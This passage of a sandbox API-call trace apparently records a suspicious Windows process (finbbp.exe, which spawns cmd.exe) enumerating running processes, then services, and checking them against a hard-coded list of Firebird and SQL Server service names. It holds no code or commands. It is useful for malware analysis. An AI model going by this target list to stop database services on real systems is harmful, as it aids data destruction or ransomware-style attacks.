th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0223.776] lstrlenW (lpString="svchost.exe") returned 11 [0223.776] Process32NextW (in: hSnapshot=0x380, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0223.776] lstrlenW (lpString="svchost.exe") returned 11 [0223.776] Process32NextW (in: hSnapshot=0x380, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x134, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0223.777] lstrlenW (lpString="svchost.exe") returned 11 [0223.777] Process32NextW (in: hSnapshot=0x380, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x26, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0223.778] lstrlenW (lpString="svchost.exe") returned 11 [0223.778] Process32NextW (in: hSnapshot=0x380, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x470, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0223.778] lstrlenW (lpString="svchost.exe") returned 11 [0223.778] Process32NextW (in: hSnapshot=0x380, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0223.779] lstrlenW (lpString="svchost.exe") returned 11 [0223.779] Process32NextW (in: hSnapshot=0x380, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x54c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0223.779] lstrlenW (lpString="svchost.exe") returned 11 [0223.779] Process32NextW (in: hSnapshot=0x380, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x564, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0223.780] lstrlenW (lpString="svchost.exe") returned 11 [0223.780] Process32NextW (in: hSnapshot=0x380, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x574, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0223.780] lstrlenW (lpString="svchost.exe") returned 11 [0223.780] Process32NextW (in: hSnapshot=0x380, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0223.781] lstrlenW (lpString="spoolsv.exe") returned 11 [0223.781] Process32NextW (in: hSnapshot=0x380, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x68c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0223.781] lstrlenW (lpString="svchost.exe") returned 11 [0223.781] Process32NextW (in: hSnapshot=0x380, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x4f8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0223.782] lstrlenW (lpString="audiodg.exe") returned 11 [0223.782] Process32NextW (in: hSnapshot=0x380, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x3bc, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0223.782] lstrlenW (lpString="sihost.exe") returned 10 [0223.782] Process32NextW (in: hSnapshot=0x380, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x714, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0223.783] lstrlenW (lpString="svchost.exe") returned 11 [0223.783] Process32NextW (in: hSnapshot=0x380, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x3bc, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0223.783] lstrlenW (lpString="taskhostw.exe") returned 13 [0223.784] Process32NextW (in: hSnapshot=0x380, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x51c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0223.784] lstrlenW (lpString="OfficeClickToRun.exe") returned 20 [0223.784] Process32NextW (in: hSnapshot=0x380, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0223.785] lstrlenW (lpString="SecurityHealthService.exe") returned 25 [0223.785] Process32NextW (in: hSnapshot=0x380, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x890, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0223.785] lstrlenW (lpString="Memory Compression") returned 18 [0223.785] Process32NextW (in: hSnapshot=0x380, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x978, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x46, th32ParentProcessID=0x958, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0223.786] lstrlenW (lpString="explorer.exe") returned 12 [0223.786] Process32NextW (in: hSnapshot=0x380, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb7c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x21, th32ParentProcessID=0x2b8, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0223.786] lstrlenW (lpString="SearchUI.exe") returned 12 [0223.786] Process32NextW (in: hSnapshot=0x380, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x20, th32ParentProcessID=0x2b8, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0223.787] lstrlenW (lpString="ShellExperienceHost.exe") returned 23 [0223.787] Process32NextW (in: hSnapshot=0x380, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2b8, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0223.787] lstrlenW (lpString="RuntimeBroker.exe") returned 17 [0223.787] Process32NextW (in: hSnapshot=0x380, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x2b8, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0223.788] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0223.788] Process32NextW (in: hSnapshot=0x380, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xda4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x978, pcPriClassBase=8, dwFlags=0x0, szExeFile="finbbp.exe")) returned 1 [0223.788] lstrlenW (lpString="finbbp.exe") returned 10 [0223.788] Process32NextW (in: hSnapshot=0x380, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdb0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0xda4, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0223.789] lstrlenW (lpString="cmd.exe") returned 7 [0223.789] Process32NextW (in: hSnapshot=0x380, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xde0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xdb0, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0223.789] lstrlenW (lpString="conhost.exe") returned 11 [0223.789] Process32NextW (in: hSnapshot=0x380, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xde0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xdb0, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 0 [0223.790] CloseHandle (hObject=0x380) returned 1 [0223.790] Sleep (dwMilliseconds=0x1f4) [0224.420] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x6ad818 [0224.421] EnumServicesStatusExW (in: hSCManager=0x6ad818, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x248ff3c, lpServicesReturned=0x248ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x248ff3c, lpServicesReturned=0x248ff54, lpResumeHandle=0x0) returned 0 [0224.421] GetLastError () returned 0xea [0224.421] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x1b58) returned 0x41760c0 [0224.421] EnumServicesStatusExW (in: hSCManager=0x6ad818, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x41760c0, cbBufSize=0x1b58, pcbBytesNeeded=0x248ff3c, lpServicesReturned=0x248ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x41760c0, pcbBytesNeeded=0x248ff3c, lpServicesReturned=0x248ff54, lpResumeHandle=0x0) returned 1 [0224.423] CloseServiceHandle (hSCObject=0x6ad818) returned 1 [0224.423] lstrlenW (lpString="AppXSvc") returned 7 [0224.423] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1 [0224.423] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1 [0224.423] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1 [0224.423] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1 [0224.423] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1 [0224.423] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0224.423] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0224.423] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0224.423] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0224.423] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0224.423] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0224.423] lstrlenW (lpString="Audiosrv") returned 8 [0224.423] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1 [0224.423] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1 [0224.423] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1 [0224.423] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1 [0224.423] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1 [0224.423] lstrlenW (lpString="BFE") returned 3 [0224.423] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0224.424] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0224.424] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0224.424] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0224.424] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0224.424] lstrlenW (lpString="BrokerInfrastructure") returned 20 [0224.424] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0224.424] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0224.424] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1 [0224.424] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1 [0224.424] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1 [0224.424] lstrlenW (lpString="CDPSvc") returned 6 [0224.424] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1 [0224.424] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1 [0224.424] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1 [0224.424] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1 [0224.424] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1 [0224.424] lstrlenW (lpString="ClickToRunSvc") returned 13 [0224.424] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0224.424] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0224.424] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1 [0224.424] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1 [0224.424] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1 [0224.424] lstrlenW (lpString="CoreMessagingRegistrar") returned 22 [0224.424] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0224.424] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0224.424] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1 [0224.424] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1 [0224.424] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1 [0224.424] lstrlenW (lpString="CryptSvc") returned 8 [0224.424] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0224.425] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0224.425] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0224.425] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0224.425] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0224.425] lstrlenW (lpString="DcomLaunch") returned 10 [0224.425] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0224.425] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0224.425] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0224.425] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0224.425] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0224.425] lstrlenW (lpString="DeviceAssociationService") returned 24 [0224.425] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0224.425] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0224.425] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1 [0224.425] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1 [0224.425] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1 [0224.425] lstrlenW (lpString="Dhcp") returned 4 [0224.425] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0224.425] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0224.425] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0224.425] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0224.425] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0224.425] lstrlenW (lpString="Dnscache") returned 8 [0224.425] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0224.425] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0224.425] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0224.425] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0224.425] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0224.425] lstrlenW (lpString="DPS") returned 3 [0224.426] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0224.426] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0224.426] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0224.426] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0224.426] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0224.426] lstrlenW (lpString="DusmSvc") returned 7 [0224.426] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1 [0224.566] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1 [0224.566] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1 [0224.566] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1 [0224.566] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1 [0224.566] lstrlenW (lpString="EventLog") returned 8 [0224.566] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1 [0224.566] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1 [0224.566] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1 [0224.566] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1 [0224.566] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1 [0224.566] lstrlenW (lpString="EventSystem") returned 11 [0224.566] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0224.566] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0224.566] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0224.566] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0224.566] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0224.566] lstrlenW (lpString="FontCache") returned 9 [0224.566] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0224.566] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0224.566] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0224.566] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0224.566] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0224.566] lstrlenW (lpString="gpsvc") returned 5 [0224.566] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0224.567] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0224.567] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0224.567] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0224.567] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0224.567] lstrlenW (lpString="iphlpsvc") returned 8 [0224.567] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0224.567] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0224.567] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0224.567] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0224.567] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0224.567] lstrlenW (lpString="KeyIso") returned 6 [0224.567] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1 [0224.567] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1 [0224.567] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1 [0224.567] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1 [0224.567] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1 [0224.567] lstrlenW (lpString="LanmanServer") returned 12 [0224.567] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0224.567] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0224.567] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0224.567] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0224.567] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0224.567] lstrlenW (lpString="LanmanWorkstation") returned 17 [0224.567] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0224.567] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0224.567] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0224.567] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0224.567] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0224.567] lstrlenW (lpString="lfsvc") returned 5 [0224.567] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1 [0224.567] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1 [0224.567] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1 [0224.567] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1 [0224.568] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1 [0224.568] lstrlenW (lpString="lmhosts") returned 7 [0224.568] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0224.568] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0224.568] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0224.568] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0224.568] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0224.568] lstrlenW (lpString="LSM") returned 3 [0224.568] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1 [0224.568] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1 [0224.568] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1 [0224.568] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1 [0224.568] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1 [0224.568] lstrlenW (lpString="MpsSvc") returned 6 [0224.568] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0224.568] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0224.568] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0224.568] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0224.568] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0224.568] lstrlenW (lpString="NcbService") returned 10 [0224.568] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1 [0224.568] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1 [0224.568] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1 [0224.568] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1 [0224.568] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1 [0224.568] lstrlenW (lpString="netprofm") returned 8 [0224.568] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0224.568] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0224.568] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0224.568] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0224.569] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0224.569] lstrlenW (lpString="NgcSvc") returned 6 [0224.569] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NgcSvc") returned -1 [0224.569] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NgcSvc") returned -1 [0224.569] lstrcmpiW (lpString1="sqlwriter", lpString2="NgcSvc") returned 1 [0224.569] lstrcmpiW (lpString1="mssqlserver", lpString2="NgcSvc") returned -1 [0224.569] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NgcSvc") returned 1 [0224.569] lstrlenW (lpString="NlaSvc") returned 6 [0224.569] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0224.569] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0224.569] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0224.569] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0224.569] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0224.569] lstrlenW (lpString="nsi") returned 3 [0224.569] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0224.569] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0224.569] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0224.569] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0224.569] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0224.569] lstrlenW (lpString="PcaSvc") returned 6 [0224.569] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0224.569] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0224.569] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0224.569] lstrcmpiW (lpString1="mssqlserver", 